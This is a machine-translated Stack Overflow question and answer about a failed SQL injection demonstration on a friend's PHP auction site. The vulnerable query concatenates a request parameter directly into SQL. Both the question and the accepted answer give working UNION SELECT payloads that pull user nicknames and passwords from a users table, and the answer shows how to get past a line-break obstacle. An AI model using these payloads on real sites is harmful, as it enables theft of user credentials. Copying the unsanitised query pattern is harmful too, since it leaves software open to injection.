晚上好 我的一个 friend 有一个网站是由一些二流开发人员开发的,现在我的任务是清理他们的工作。我试图向他展示他们制造的一些问题。在他的代码中,有这个确切的 block :
$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions
ON vesp_categories.cat_id=vesp_auctions.category where id=".$id."
AND starts <= ".time()." AND suspended = 0";
(我知道,对吧?)
多重查询是不可能的——正在使用 mysql_query 并且没有被指示使用多重查询。我可以做一个工会:
?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -
但是 'AND 开始 <= ".time()"的事实。 AND suspended = 0"' 在一个新行上,打破了注释字符的效果,并且只返回一个 mysql 错误“你的 SQL 语法有错误;检查与您的 MySQL 服务器版本对应的手册,了解在第 4 行的“AND starts <= 1365321338 AND suspended = 0'附近使用的正确语法”
如果我删除查询中的换行符,效果很好,但具有足够访问权限来编辑他的 PHP 的攻击者可能不会为 SQL 注入(inject)而烦恼
有没有办法解决我的约束条件下的换行/注释掉问题?或者有人可以建议合适的替代方案吗?
PHP >= 5.2/MySQL
最佳答案
您需要确保您的注入(inject)仍然创建一个有效的语句。因此,您可以使用另一个 UNION SELECT 来修复剩余的语句部分:
143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1 union select * from (select null start,null suspended,null,null,null,null,null,null,null,null,null) t where 1=0
注意在子查询中指定匹配的列名,以便找到父 WHERE
子句中的列名。
如果您不需要 LIMIT
子句,您可以在第一个注入(inject)的 SELECT
中进行相同的修复。
关于php - SQL 注入(inject)演示失败 - 注释字符因换行而失败,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15860352/